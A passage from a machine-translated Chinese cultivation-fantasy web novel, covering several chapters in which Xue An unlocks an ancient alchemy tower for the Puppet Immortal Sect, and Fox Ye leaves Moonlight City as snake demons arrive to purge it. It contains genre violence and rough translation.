    This high-level puppet hadn''t reacted yet, and the mechanical puppet rushing from the diagonal stab had already blasted out.


    boom.


    This punch was so powerful that it directly blasted the high-level puppet out, and went straight to the hall.


    This huge puppet flew across the sky, and its momentum was so great that many cultivators were distorted by it.


    But before they could react, the high-ranking puppet suddenly stopped.


    It was not that it stopped by itself, but something caught its ankle.


    Everyone looked around.


    really.


    The mechanical puppet did not know when it had already caught up, and grabbed the high-level puppet by the ankle.


    "He... what is he going to do?" someone asked in horror.


    As soon as the voice fell, the mechanical puppet lifted up this huge high-level puppet like a hammer, hitting the ground with a violent blow.


    Boom boom boom.


    There was a loud noise.


    The neat square was smashed out of pits one after another.


    And this high-level puppet still thought of resisting at first, but before smashing it a few times, it completely lost its resistance.


    at last.


    In the last mad smash of the mechanical puppet, this high-level puppet screamed, and his figure began to shrink sharply. In the blink of an eye, it turned into a bead full of cracks, which was obviously completely abandoned.


    Everyone is stupid now.


    Because this earth-shattering reversal is so fast and incredible.


    Just now Liu Keke was still kneeling down and begging for mercy, but he succeeded in killing him in the blink of an eye.


    This cannot but be said to be a miracle.


    But Cang Yayun, Wan Chengyi and other interested people all looked at Xue An.


    They are not fools.


    Liu Keke suddenly violent, obviously related to Xue An''s remarks.


    Just who is this Chinese man who has no cultivation base?


    Shan Ruoling was also surprised.


    She opened her mouth slightly, looked at Liu Keke in the field, and then looked back at Xue An.


    I finally understand why this friend of my own respectfully calls this person a senior.


    But some people are happy while others are sad.


    Lu Cailan couldn''t believe her eyes at this time. She first glanced at the wreckage of the high-level puppet on the ground, then looked at the mechanical puppet that was restored to its original condition, and then trembled all over.


    "This is impossible, this is absolutely impossible! The illusion technique you used, right? Liu Keke, you must be the illusion technique!"


    Liu Keke looked coldly, there was no sadness, joy or anger in his eyes, just slowly raised his hand and pointed at her.


    "Crush her!"


    The mechanical puppet rushed over in an instant, and Lu Cailan was caught in the palm of his hand before he could react.


    Only then did Lu Cailan truly feel fear.


    "No, you can''t kill me! Liu Keke, I lost! I surrender, please let me go! I was wrong, and I will never fight you again!" Lu Cailan was extremely frightened Shouted.


    Many disciples of Puppet Sect are all a little nervous.


    Because before this Senior Sister Liu was a very kind and gentle person, she rarely got angry, and she was easily moved by words.


    This Lu Cailan used this characteristic of Liu Keke''s character to dare to provoke unscrupulously.


    This time...Sister Liu will let this Lu Cailan go?


    In the eyes of everyone, Liu Keke did not show any expression, just lightly opened his lips, and said coldly: "Do it!"


    The mechanical puppet put his hands together after hearing this.


    Just hearing the sour sound of bone breaking, Lu Cailan''s screams stopped abruptly, and a large group of dirty blood seeped from the hands of this mechanical puppet.


    This crazy clamoring and provocative Lu Cailan was finally crushed to death!


    The whole audience was silent.


    Even Shan Ruoling didn''t expect that his always gentle friend would be so decisive.


    But at this moment, I heard a roar.


    "Liu Keke, you are convicted of colluding with outsiders to kill the children of this sect!"


    With that said, Yu Chixing rushed directly into the court, not talking nonsense, and directly attacked Liu Keke.


    Yu Chixing did not come because of the dead Lu Cailan.


    He has his own plan.


    First of all, Liu Keke''s current strength shocked him, especially the method she used to kill Lu Cailan resolutely, which convinced Yu Chixing.


    If she doesn''t get rid of her now, then she will definitely have no good fruit in the future.


    Because what he did to Liu Keke was enough to die three times.


    The second is the greed for this self-healing mechanical puppet.


    If you can get such a god-level puppet, let alone the second elders, even the head is within easy reach.


    With this dual motive, Yu Chixing put aside all scruples and directly hit the killer.


    Although Liu Keke is good at and understands the mechanical heart of this puppet.


    But in the face of Wei Chixing, who had been famous for a century, he was still unable to catch it, and barely avoided a few tricks.


    Yuchixing grinned and stretched out his hand, about to pinch Liu Keke''s neck.


    As long as it is pinched, then the neck can be pinched off.


    And Shan Ruoling and Wan Chengyi wanted to rush over at this moment, but it was too late.


    Just when Yu Chixing thought he had the chance to win.


    Xue An who was standing on the high platform suddenly stomped his foot, and the whole hall shook violently, and then his whole body instantly rushed behind Yu Chixing like a cannonball.


    Before Yu Chixing could react, Xue An shot it out.


    Snapped.


    After the crackling sound of the eggshell being broken, this Wei Chixing''s head was directly broken.

 Chapter 601： Mingzhu Shadowcast

    Blood splashed, brains flowed across.


    Yu Chixing''s deformed face still had his dying fear and confusion, as if he didn''t understand why he died.


    Then the dead body slowly fell to the ground.


    Seeing this scene, the audience was silent.


    No one speaks. Or that no one dared to speak.


    Many people''s brains are even in a state of downtime. They can''t understand why the dignified puppet Xianzong second elder can''t resist the palm of this Chinese man with no cultivation level.


    At this moment, someone shouted angrily: "I dare to kill the second elder of the puppet Xianzong, who on earth are you?"


    With that, a figure appeared on the square instantly.


    It was Cang Yayun, the head of Puppet Xianzong.


    At this moment, Cang Yayun''s complexion was green and his eyes were full of killing intent.


    Although what Yu Chixing did in the end was indeed a bit disgusting, he was after all the second elder of Puppet Xianzong.


    In the end, she was slapped to death in front of so many people. This was like slapped her face, naturally making Cang Yayun furious.


    Following her anger, a strong momentum began to wreak havoc on the square, wherever she passed, the ground was plowed into deep ravines.


    Seeing this aura in the distance, Wan Chengyi was shocked, and his expression gradually became serious, "This aura...this Cang Yayun is already half a real fairy!"


    Half a step!


    This title made Shan Ruoling stunned.


    Because this word means that Cang Yayun will be one of the most powerful cultivators in the entire Zhongzhou land.


    Even if Shan Ruoling was worshipped as a god, Wan Chengyi, the protector of the Garan Sect, is now just the peak of the golden immortal.


    Although it is only one step away from the half-step real fairy, this step is as far away as the sky, and thousands of years have blocked how many amazing geniuses.


    As for the other people, their faces were even more shocked.


    But Xue An, who was facing this powerful and imposing manner, looked indifferent, as if he didn''t feel anything, so he hugged his shoulders to watch.


    "Is this the power of your true immortal? As the head of the puppet fairy sect, the rule you understand is the force of the wind, should I praise you for daring to cross the border, or should I scold you for not doing business properly? Or... ...."


    "This is because you know you have no hope of promotion, and you have to do it?"


    These words of Xue An shocked Cang Yayun, who was already aggressive, and looked at Xue An in disbelief, "You...who are you? How can you know so much?"


    Xue An smiled slightly, "Coco girl, haven''t you said that, I am her friend and senior!"


    Of course Cang Yayun didn''t believe Xue An''s words. She looked at Xue An in surprise, trying to see some clues.


    But in the end she was disappointed.


    Because no matter how you look at it, Xue An is an ordinary Chinese man, and he still has no cultivation skills.


    Is this possible?


    Can a Chinese man with no cultivation base smash the golden fairy Yu Chixing with one palm?


    Even if this Wei Chi is not doing his job properly, and relying on an ancient puppet to barely break into a half-step golden immortal, no matter how reluctantly, it is a half-step golden immortal!


    What''s more, he has seen through the power of the rules he has mastered at a glance, and can even extend it, easily guessing the truth of the facts.


    This is obviously not something an ordinary person can do.


    Cang Yayun was thinking about it, and Xue An glanced at Liu Keke and smiled slightly.


    "well done!"


    Liu Keke bowed his head very respectfully and said, "Everything is because of seniors'' instructions!"


    Xue An shook his head, "I just pushed you when it was critical, and the rest comes from your own talent and hard work!"


    Liu Keke''s face was slightly red, and he felt embarrassed to be praised.


    Xue An said calmly: "Don''t be embarrassed, this is actually a fact! With your talent, you should have done something a long time ago. The reason why you didn''t is because this so-called puppet fairy sect is simply misleading people. It can even be said that the word puppet has been trampled on."


    These words were spoken out.


    Many disciples of Puppet Gate all showed anger on their faces.


    As for Cang Yayun, his face was even more sinking, "What kind of puppet Immortal Sect is, it''s not the turn of outsiders to comment! As for you, killing the second elder of my Sect, this matter must have a statement today!"


    "Say!" Xue An chuckled lightly, then his eyes grew colder.


    "To indulge the subordinates'' wanton and reckless behavior, even knowing that this person is humiliating the disciple of the disciples, and still ignores them. Is this what you want?"


    Cang Yayun paled, "You..."


    What else did she want to say, Xue An stepped forward and continued to say coldly: "He is nepotism and treats disciples who are talented and capable but who are not your favorite, but is very tolerant to the villain who bullies the superiors and flatters. Is this what you want?"


    Cang Yayun''s face turned paler, and her lips began to tremble uncontrollably.


    "Seeing this person committing a crime in public, trying to kill the innocent disciple of the disciple, without obstruction, but the first one to pop out after this person was killed, is this what you want?"


    This series of interrogations made Cang Yayun tremble slightly, her face full of anger, and the killing intent in her eyes gradually rose.


    This is an interrogation in front of many sect masters!


    If you don''t refute it, your reputation will be completely ruined.


    But Xue An hadn''t finished speaking, and saw him standing with his hands behind him, and shook his head slightly.


    "These are actually nothing at all!"


    Ok?


    Shan Ruoling couldn''t help being stunned when he heard Xue Antong feel quite enjoyable.


    What is this called?


    Co-authored cross-examination for a long time, but it was nothing?


    Even Cang Yayun was slightly confused, wondering what Xue An meant.


    At this time, Xue An looked up at the huge black tower standing on the top of the mountain in the distance, and said lightly: "Do you know what you have done the most wrong?"


    Cang Yayun subconsciously asked, "What?"


    "Don''t delve into the ultimate power of the puppet, instead practice in retreat! This is your biggest fault!"


    Cang Yayun was struck by lightning, her muscles stiffened.


    Xue An continued: "Didn''t you find that you, the so-called Puppet Immortal Sect, use the puppet as an auxiliary means when fighting?"


    Cang Yayun hesitated for a moment and then nodded.


    Because what Xue An said is indeed true.


    Today''s puppet fairy sect, the more powerful the puppet, the lower the role of the puppet during the battle, and it has even become an auxiliary means.


    Cang Yayun is one of the most representative examples.


    She couldn''t remember how long it hadn''t called a puppet to fight.


    "But this is not what we intended, it is that this puppet''s combat power is too low! It can''t compete with other sects at all!" Cang Yayun said.


    Before she knew it, she had regarded Xue An as a person who could talk on an equal footing, and even deliberately ignored the matter of avenging Yu Chixing.


    Xue An shook his head and sighed, "Do you know what Mingzhu secret cast is? You are just a living example!"


    After all, Xue An pointed to the black tower and said lightly: "Today, I will let you see what real puppets and alchemists... should be like!"

 Chapter 602： Zhou Tian solves the formation, alchemy appears

    Following what Xue An pointed out, everyone looked at the huge black tower together, and then all their faces appeared at a loss.


    Among them, Cang Yayun was even more confused.


    Because in her impression, this black tower has been standing there for a long time.


    The heads of the past dynasties have tried to decipher the purpose of this huge tower, but all failed.


    It was the same when she first became the head. She had worked hard, studied for a long time, and searched the ancient books left by Xianzong, trying to find out the origin and builder of the huge tower, but ultimately failed.


    Later she left the matter behind and ignored it.


    Unexpectedly, the Chinese man actually said these words today, which naturally shocked Cang Yayun.


    Xue An pointed to the mechanical puppet.


    "Follow me!"


    The mechanical puppet followed right after it, waiting to come to the black giant tower.


    Xue An looked up at the towering spire and smiled faintly.


    "Showing the largest form."


    According to Xue An''s orders, the mechanical puppet''s entire figure began to skyrocket, and in the blink of an eye it became a hundred meters in size, almost flush with the tower.


    Xue An stretched on the shoulder of the mechanical puppet, and said in a deep voice: "Hold the spire with both hands and pull it up with all your strength!"


    The mechanical puppet obediently grasped the spire of the black tower, exhausted all his strength and began to pull up.


    Kaka.


    With a sharp mechanical sound, a humming sound came from the bottom of the black giant tower.


    Everyone was shocked.


    At this moment someone exclaimed: "Look at the bottom of this huge tower!"


    Everyone looked around.


    From the bottom of the huge black tower, radiant brilliance began to emerge, like tangled vines, and like dizzyingly complex patterns, and began to spread rapidly.


    In an instant, these patterns spread all over the black giant tower, making people dizzy at the first glance.


    Cang Yayun exclaimed, "It''s an alchemy formation!"


    That''s right.


    This is the alchemy formation that Puppet Xianzong has been studying.


    But Cang Yayun looked silly at this moment.


    Because the alchemy formation on this huge black tower was countless times more complicated than the alchemy formation she had usually studied and studied, even after just watching it for a while, Cang Yayun felt her head tingling, and her spiritual thoughts quickly became wilted.


    Cang Yayun was so scared that she didn''t dare to take a closer look at that time, because she knew that this was the backlash when she forcibly studied the extremely advanced alchemy formation.


    And just after watching it for a moment, he has such a powerful backlash. How terrible is the alchemy formation on this huge black tower?


    As for the others, it is even worse at this moment.


    The disciple of the Puppet Xianzong just glanced, and was shocked by the force of backlash to vomit blood.


    After taking a glance, Liu Keke also felt impetuous, closed his eyes quickly, and then shouted in a deep voice: "Don''t look again! Otherwise, you will die!"


    Hearing her words, everyone bowed their heads and closed their eyes, afraid to look again.


    Xue An stood quietly on the shoulders of the mechanical puppets, and smiled faintly as he watched the flickering and uncertain alchemy formations as if a living creature was breathing.


    "interesting!"


    After all, Xue An slowly closed his eyes, and the divine thoughts of the sea spread from his brows.


    boom!


    As soon as Shennian touched the black tower, the brightness of the alchemy array above it suddenly increased, and then a huge light curtain slowly unfolded.


    There are countless extremely complicated lines on the light curtain, and they are staggered high and low, like a mess, making people dizzy.


    And the dots of light flashed above the nodes of this line, like a chess piece, waiting for human deduction.


    "This...this is the legendary Zhoutian Array Formation Technique!" Cang Yayun trembled, her teeth even rattling.


    Because in the ancient books handed down from the sect, this array-resolving technique is the top-level array-resolving technique used by the ancient alchemists, and it has long been lost.


    Unexpectedly, it will reappear in this Chinese man today.


    At this time, Xue An controlled the chess pieces with spiritual thoughts and began to play step by step.


    At the beginning, people could still see clearly, but then it got faster and faster, and in the end they could only see light spots flying rapidly in this mess of formations.


    This magical solution to the formation shocked everyone.


    Because this not only requires a very strong spiritual mind, but also an almost impossible strong brain power, otherwise it would be impossible to control so many light points in the formation at the same time.


    Moreover, if this is a wrong step, the entire formation may immediately destroy itself. This kind of powerful psychological pressure is not something ordinary people can bear.


    After a while.


    The light spot of the solution array is almost at its extreme, and people can only see a ray of light flickering.


    suddenly.


    All the light spots suddenly stopped.


    what happened?


    Did the solution fail?


    Cang Yayun had just this idea in her mind.


    Seeing that the alchemy array covering the entire black giant tower began to disintegrate, and then the black of the giant tower disappeared together, and the cold metal light gradually appeared.


    At the same time, concise and clear alchemy arrays began to emerge.


    As if something was being pulled away, the whole mountain began to tremble.


    Light began to appear at the bottom of the black tower, and converged to the top of the tower through the alchemy circle.


    Alchemy gathering energy!


    Cang Yayun stared blankly, and she was a little numb with shock from the mysterious alchemy formations.


    Soon, the top of the tower accumulated terrifying energy to the extreme.


    At this time Xue An opened his eyes, glanced at the huge tower that had turned into a metallic color, and smiled slightly.


    "Go ahead!"


    With his order.


    All the brilliance paused, and then layers of fine array patterns appeared on the slender spire, and these brilliance surged up along the spire, and then sprayed out from the spire.


    This is an indescribable beam of light, like a huge silver needle, piercing straight into the sky.


    The sky that had entered night was instantly bright as day, but after reaching the top, Guanghua spread out like a fountain, and then formed a curtain of light, pouring down, enveloping the entire puppet fairy sect.


    The original peaceful aura became fierce ~ www.novelhall.com~ and the vegetation of the mountains grew and mutated rapidly, and together with the rare birds and animals, they all gradually became like mechanical creations.


    For example, the bodies of birds and beasts have gradually turned into gold and iron castings, and even the running hares on the ground have grown metal wheels.


    And the whole mountain gradually exudes a cold metallic luster.


    After just a few breaths, the entire puppet Xianzong changed from a fairy family cave into an alchemy land exuding cold metal luster.


    Under the blessing of this light curtain, the size of the originally tall mechanical puppet began to soar, and soon became more than one hundred and fifty feet tall.


    Everyone watched this scene dumbfounded.


    Then a disciple of Puppet Sect shouted in surprise: "My cultivation level has also become amazing!"


    More people are staring blankly, with only one thought in their minds.


    This... isn''t it a dream?

 Chapter 603： The head changes hands

    Shan Ruoling murmured: "Master, this...is all this true?"


    Wan Chengyi nodded with a wry smile, then sighed softly, "I didn''t expect the legend to be true!"


    For Wan Chengyi, a master who can access many secrets.


    The legends handed down in the ancient times sound like myths now.


    Among them is the puppet Xianzong.


    Legend has it that the Puppet Immortal Sect at that time was much stronger than it is now, and even an alchemist with a wizard of heaven refining the entire mountain.


    But with the passage of tens of thousands of years, the legend has become unverifiable, and the puppet Xianzong has long been reduced to a second-rate sect, no longer prosperous.


    But who would have thought that in today''s ordinary banquet, he could actually witness the reappearance of the alchemy holy land.


    The impact of this on other sects can be imagined.


    Because everyone understands that the rise of Puppet Xianzong is unstoppable.


    And everything is because of that Chinese man.


    And Shan Ruoling looked up at the high Xue An, with mixed feelings in his heart, not knowing what it was like.


    At the beginning, she thought this was an ordinary Chinese man, but Liu Keke liked him because of his handsome appearance.


    However, what happened later was like a slap on the face of everyone who despised him.


    At least Shan Ruoling felt hot and embarrassed.


    At this time, Xue An fell to the ground, and Cang Yayun, who was still in a sluggish state, said lightly: "Now, can you be convinced?"


    Cang Yayun trembled, a light of surprise appeared in her eyes, then took a deep breath and bowed respectfully.


    "Senior, disciple...convinced!"


    At this moment, in Cang Yayun''s mind, Xue An had already turned into a certain unborn predecessor of the Shimen, and he was still the kind who had lived for several thousand years.


    Otherwise, how would he know how to crack open this dark tower?


    As for why he is a Chinese, he has not yet cultivated...


    Maybe seniors are in the game. Cang Yayun thought like this in her heart.


    Xue An was noncommittal to Cang Yayun''s attitude of being stubborn and respectful, but said indifferently: "Since you are convinced, now you will give Liu Keke the position of head!"


    As soon as this sentence came out, Cang Yayun''s expression changed drastically.


    "Pre... Senior!"


    Xue An raised his eyebrows slightly, "What? Disagree?"


    What else Cang Yayun wanted to say.


    Xue An waved his hand, "With your talent, being the head of the puppet sect is simply not qualified! Let''s be a second elder!"


    Hesitant and struggling flashed across Cang Yayun''s face.


    And Liu Keke also timidly said at this time: "Senior, my cultivation base is the head..."


    Xue An smiled slightly, "With your cultivation base, being the head of other sects is definitely not enough, but being the head of this puppet fairy sect is definitely enough!"


    There was a confused look on Liu Keke''s face, and he didn''t understand why Xue An said that.


    The people of other sects are also a little puzzled.


    "Don''t understand? Haha! You can try to manipulate the mountain at your feet!" Xue An said lightly.


    Liu Keke closed his eyes subconsciously and began to manipulate everything according to Xue An''s instructions.


    In a flash, the alchemy rune of the Dao Dao appeared on the whole mountain, and an aura that was enough to shake the world spread, and everyone was distorted.


    "Do you understand now? Only those who understand the heart of machinery are qualified to control this mountain of alchemy."


    Xue An''s words let all doubts disappear.


    Cang Yayun sighed secretly, knowing that the general trend cannot be violated, and bowed and said: "Senior said, disciple understands!"


    After that, he turned to Liu Coco and lowered his head, "I have seen... the head!"


    Upon seeing this, all the puppet fairy sect disciples bowed together, "I have seen the master!"


    In the end, all the people from all walks of life who came to the banquet couldn''t help but bow their hands together, "Congratulations, head Liu!"


    Among them, Shan Ruoling''s expression is the most complicated.


    Because Liu Keke was still a young master with equal status just now, but in the blink of an eye he became a group of masters.


    This gap made Shan Ruoling a little confused.


    Wan Chengyi naturally saw this and couldn''t help patting her shoulder, "Ruo Ling, everyone has their own talents! This is impossible to ask for!"


    Shan Ruoling was shocked when he heard the words, and then smiled, "Master, I don''t mean anything else, I just feel that my identity has changed too quickly, and I feel a little uncomfortable for a while! It may be that I''m really happy to be this far."


    Wan Chengyi knew that his apprentice never lied, so he nodded slightly, and then looked at Lian Yunting.


    The strength of the four elephants of this girl made him always a little hard to let go, and finally walked forward and said with a smile.


    "This girl, dare to ask who you are and who do you learn from?"


    Lian Yunting saw that he was a middle-aged man with an upright blue shirt and didn''t think much about it. He pointed to Xue An in the distance, and said respectfully, "That one is my master!"


    "Then your cultivation base..."


    "Naturally it was also a gift from Master!"


    Although he had anticipated it in his mind, after the confirmation, Wan Chengyi couldn''t help but feel a little lost.


    The power of the Four Elephants of Lian Yunting''s body is even more authentic than that of Garanism.


    And this also came from this Chinese man?


    How many secrets are hidden in this man?


    All the dust settled.


    People of all factions left one after another.


    Liu Keke was still a little bit unable to adapt to his role as head, so Cang Yayun accompanied her to see off the guests.


    When sending away the two masters and apprentices of Wan Chengyi, Shan Ruoling stepped forward and gave Liu Keke a small hug, and whispered in her ear: "Hehe, your senior is no ordinary person, don''t let it go. !"


    Liu Keke''s face flushed, and she gently pinched her waistline, "You **** girl, don''t talk nonsense!"


    Of course, all this is done in secret, and outsiders can''t see it at all.


    In the end, all the guests left.


    And everything that happened on the puppet fairy sect also spread wildly.


    The entire Zhongzhou was shaken.


    It coincides that the Thousands Conference will be held soon.


    The puppet Xianzong, who was originally a second-rate sect, opened the ancient secret array to restore its former glory.


    This adds more variables to the already complicated situation.


    Many unsuspecting eyes looked at the puppet Xianzong, trying to get some benefits from it.


    But soon, the puppet Xianzong hung the door sign and declined all visitors.


    Everyone understands that this is accumulating strength for the Thousand Clan Conference.


    at the same time.


    In the Moonlight City deep in the Yaozu Mountain Range.


    Since the Tiger Head Gang was destroyed, the situation in Moonlight City was chaotic for a while, but in the end all parties retreated under the sharp sword killed by Fox Xue.


    So Mu Qingwan logically took over all the spheres of influence of the Tiger Head Gang and became the well-deserved boss.


    And in the fun fair at this moment, Fox Ye was happily drinking flower wine with a few monster girls.

 Chapter 604： A fool will like you!

    "A crab has eight legs, and the two ends are so big. With eyes widened, neck shrunk, crawling and crawling across the Shahe!" Hu Ye stepped on the stool with a bold expression on his face, and then pointed to the opposite. Two Yaozu girls.


    "You lose, take it off!"


    The two Yaozu girls are already very cool off at the moment, and they can''t help but say pitifully: "Master Fox Ye, if you take off again, you will be really light. Please raise your hand and let our sisters!"


    The night of the fox is about to laugh and bloom, "I am willing to bet and lose, this can''t be shameless!"


    "Oh, Lord Fox Night, you can just let our sisters go! When you come next time, we will make you satisfied, okay?" One of the demon clan women begged softly.


    "Next time? No next time! Lord Fox, I''m leaving soon! Don''t talk nonsense and get off quickly!"


    Huye almost carved the words I am a rogue on his forehead.


    The two Yaozu girls were a little puzzled.


    "Master Fox Ye is leaving? Where do you plan to go?"


    "Yeah! Is it possible that Master Fox Ye likes other girls again? Oh, oh, it really makes us sad!"


    Hu Ye curled his lips, "Hey, don''t make it look like it''s true, I''ve never touched a finger of you! Don''t follow this falsehood!"


    Hearing this, the two demon girls laughed, one of them picked up the wine glass and walked over, leaning next to Fox Ye, and said in an ambiguous tone: "Master Fox Ye, our sisters really don��t understand you, all day long. Come to us for a drink, but you won��t even touch us!"


    "Yeah! Could it be...Is there anything unspeakable, my lord?"


    Fox Ye was startled at first, and when he understood what it meant, his eyes went round instantly, "I''m pooh, Lord Fox, I''m in good health! I..."


    Just as he was about to continue, he heard the voice of Hu Xuesha coming from outside the door.


    "Girl Abao, why are you here?"


    As soon as the voice fell, the door was kicked open.


    A Bao walked in aggressively.


    After seeing two cool-dressed Yaozu women in the room, A Bao couldn''t help blushing and took a sip.


    "Bah! I knew you were hiding here drinking flower wine!"


    When the two women saw A Bao, their expressions were all solemn, and they hurriedly got up and left.


    Now in Moonlight City, who doesn''t recognize the popular little girl Abao next to Mu Qingwan.


    When they left, Hu Xuesha also hid outside wittily and did not come in.


    Huye and A Bao were left in the room.


    A Bao looked at Fox Ye, his eyes gradually reddened, he sucked his nose hard, and pretended to be calm.


    "I heard people say, you are leaving?"


    Hu Ye nodded, "Yes! I''m leaving now!"


    "Why?" A Bao asked.


    "what why?"


    "Why are you leaving?" At this point, A Bao''s voice was a little choked.


    "Uh..." Huye didn''t know how to answer, so she sighed and said, "Boer, there is something I forgot to tell you..."


    "I know! You have a wife!" A Bao said.


    Hu Ye was a little surprised, "You...how do you know?"


    "Nonsense, you drank flower wine all day, but... never touched these women. When you were drunk, you would lie in bed and talk nonsense. Those things have been spread out, and Guangcheng knew about it for half a month!" Bao Sha thoughtfully said.


    In fact, she lied about this matter.


    She is the only one who really knows that Fox Ye has a wife.


    At the celebration banquet to suppress the tiger head gang, Hu Ye was happy for a while, but became drunk, and then A Bao ran and waited for him most of the night.


    It was at that time that the woman who was babbling in Fox Night Drunk, and kept chanting his heart, was naturally heard by A Bao.


    At that time, A Bao was struck by lightning, hiding his face and crying away.


    And for the next few days, he ignored Fox Night at all.


    It made Hu Ye look inexplicable, and thought that he had provoke this little girl somewhere.


    But what A Bao didn''t expect was that as she slowly began to accept reality, today there was news that Fox Ye was leaving.


    And Mu Qingwan said it himself.


    At that time, Abao felt a tingling in his heart, and when his mind was hot, he immediately rushed into the band, and wanted to ask Fox Ye to ask.


    Huye smiled bitterly at this moment, "I have something to do!"


    "What''s the matter? Go find... that girl?" A Bao asked softly, lowering his head, playing with the corners of his clothes.


    Hu Ye shook his head, "Of course not, she is not here, but in a far away place!"


    A Bao trembled all over, raised his head, tears streaming down his face for some unknown time.


    "Then can you not leave?"


    Seeing this scene, Fox Ye, who had been facing everything in Moonlight City with a playful mentality, felt a little tremor in his heart.


    Huye pondered for a long time, and then sighed, "Girl Abao..."


    A Bao interrupted him.


    She wiped the tears from her cheeks, the corners of her mouth raised, showing a big smile.


    "Okay, don''t say it! I know you have your own business, I just just talk about it casually! Hehe, have you been fooled by my tears?"


    Hu Ye opened his mouth slightly and looked at A Bao blankly.


    "You really thought I liked you! I was just teasing you! You are lazy and carefree, a fool will like you!" A Baoxu whispered, turning around and leaving.


    When she reached the door, she stopped, then lowered her head, shrugged her shoulders, and heard an uncontrollable sob.


    "Will you...will come back?"


    Hu Ye sighed, "Probably..."


    "Okay! I see! I wish you all the best!"


    After all, A Bao pushed the door and ran away.


    Hu Ye stood in the same place, looking stupidly.


    Hu Xuesha walked in and asked a little hesitantly: "My lord, do you want to go after it?"


    Hu Ye shook his head, with a sad expression, "No need."


    When Fox Night goes here, he is naturally going to participate in the Thousand Clan Conference.


    This grand event has blasted the entire Yaozu mountain range.


    Although Moonlight City is remote, many people still know it.


    But Hu Ye is different from other people Hu Ye knows very well that this time the Qi Luck chess game is very strange, and it is very likely that the real power of Qi Luck lies in this Thousand Clan Conference.


    So he must go.


    As for this Moonlight City...


    Hu Ye felt that she might not come back.


    After all, after grabbing luck, there is no need to stay in this chess game.


    This world will be closed again, waiting for the opening of the next chess game.


    With this idea in mind, Fox Ye certainly would not leave A Bao with any illusions.


    Because that is purely harming her.


    Although Huye likes beautiful women, she only stops at admiring, and never tramples on her feelings by making random promises.


    After all, in terms of loyalty to love, the fox race is more stubborn than the human race.

 Chapter 605： Who is Mu Qingwan? Get out and see me!

    In order to avoid the sadness of parting, I was also afraid that A Bao would do something extraordinary.


    Therefore, Hu Ye simply took Hu Xuesha and quietly left Moonlight City one morning.


    But what he didn''t know was when they were leaving quietly.


    A Bao and Mu Qingwan were standing upstairs in the distance and watching them quietly.


    Watching the back of Hu Ye going away, A Bao''s tears kept dropping.


    Waiting for Huye''s back to disappear in the vast mountains, A Bao still reluctantly to withdraw his gaze.


    When Mu Qingwan saw this, he couldn''t help but sighed, "Well, everyone is gone! Don''t look anymore!"


    A Bao looked blank and muttered: "Sister Qing Wan, do you think he will come back?"


    "Should... yes!"


    A Bao smiled tragically when he heard the words, "I know it won''t be anymore. A big bad guy like him will definitely not come back if he leaves!"


    While talking, A Bao couldn''t help tears like rain.


    This little girl, who is only fifteen or sixteen years old at best, first tasted love, but was ruthlessly crushed by reality.


    This powerful gap of shattered ideals made her sad, who had never really tasted the suffering of the world.


    Mu Qingwan held her in his arms a little distressed, and said softly, "If you want to cry, just cry happily!"


    A Bao lay down in Mu Qingwan''s arms and burst into tears. The tears soon wetted Mu Qingwan''s clothes. He waited until he was tired of crying and fell asleep.


    Looking at this childish little girl who was sleeping and closing her eyes, Mu Qingwan was a little loving and helpless.


    Then he took her back to his room, gently put her on the bed, covered the quilt, and then quietly retreated.


    After the room calmed down, A Bao''s eyes leaked with large tears, then he rolled over and sobbed low.


    In the next few days, Moonlight City remained calm.


    As the actual head of Moonlight City today, Mu Qingwan is very busy every day.


    All sorts of complicated matters need her to deal with.


    Today is no exception.


    Just as Mu Qingwan had settled the dispute between two hostile gangs, the two sides reconciled and expressed their gratitude to Mu Qingwan.


    A very powerful team riding a tall and mighty monster came from outside Moonlight City.


    The leaders are two Yaozu generals with triangular eyes and armor.


    "Brother, is this the Moonlight City?" The speaker spit out the letter, and the triangular eyes were full of evil light.


    The general who is called the eldest brother is stronger, and has a long scar on his face, which is very hideous and terrifying.


    "Yes, this is the Moonlight City that the Lord Commander wants us to clean up!" The eldest brother also hissed the letter.


    It turns out that both of these brothers are in the form of snake demon.


    The eldest brother is called Shetian, and the second is Shemu.


    The two of them came to Moonlight City to clean up the "anti-party" under the orders of the patron of the tiger head gang Tongbao, the leader of the demon clan.


    "In a small place, the commander actually sent our two brothers, which is really overkill!" The second child Snake said lazily.


    "Hehe, since the commander gave this order, let''s just do it! Let''s take a vacation! Anyway, who is against the party, isn''t it our brothers who have the final say?"


    Hearing this, Snake''s eyes lit up, hissing the letter.


    "Big brother is saying..."


    "Master leader is very angry about what happened in Moonlight City, it doesn''t matter if you kill more!" Snake Tian said lightly.


    "Haha, that''s amazing." Snake wood eagerly fists, obviously already a little can''t wait.


    Then he turned his head and sneered at his men and said with a grin: "Have you heard it? This city belongs to our brothers, just play it! Don''t let it out!"


    These subordinates all looked fierce, and they all cheered upon hearing this.


    Then these demons drove straight into the city.


    In this broad daylight, as soon as their gang of ghosts and monsters rushed in, they naturally attracted the attention of countless people.


    Snake Tian was too lazy to talk nonsense, so he swept a pedestrian over by the side of the road with a whip, and said coldly, "Where does your tax official live?"


    The pedestrian pointed out the direction tremblingly.


    Snake Tian grinned, "I should have spared you, but as soon as we entered the city, let''s take you to sacrifice the flag!"


    After all, twist the whip.


    With a click.


    The pedestrian''s neck was severed by the whip.


    Blood sprayed all over the place.


    The onlookers exclaimed.


    Snake Tian led the team to the tax bureau without caring.


    Each Yaozu ruler has jurisdiction over a large area, so it is impossible for every city to be managed comprehensively. Many small and fringe cities are just finished by sending a tax collector.


    This Moonlight City is naturally no exception.


    And because moonstones are abundant here, the importance of tax officials is even stronger.


    But whether it is the Tiger Head Gang or Mu Qingwan, they will honestly pay the full amount.


    After all, no one wants to offend the leader.


    So this work is also very leisurely.


    Just as several tax officials were asleep.


    Snake Tian directly led people in, and he couldn''t help but hit the whip first.


    After the tax officials who had beaten them cried and called their mothers, Snake Tian said gloomily: "I am an envoy sent by the leader. You have one named Mu Qingwan, right?"


    The tax officials looked at each other.


    Mu Qingwan is usually very good to these people. Now that Snake Tian and others are so domineering, these people know that they are definitely not kind, so they all hesitate.


    Snake couldn''t hold back any more, grabbed a tax official, opened his blood basin, and bit off half of his head.


    This terrible situation left the remaining tax officials silent.


    "Now tell me, is there or not this person?" Snake Tian said coldly.


    "Yes!" These tax officials nodded hurriedly.


    "Well, let''s lead the way!"


    Several tax officials tremblingly lead the way, leading Snake Tian and others to Mu Qingwan.


    It''s just that these two snake monsters didn''t pay attention at all.


    When these tax officials were walking, they winked at the men on the side of the road.


    These men nodded slightly, and then disappeared into the alley.


    quickly.


    When Mu Qingwan just sent away a few thankful coolies. UU reading www.uukanshu. com


    Then a man ran in to deliver the letter.


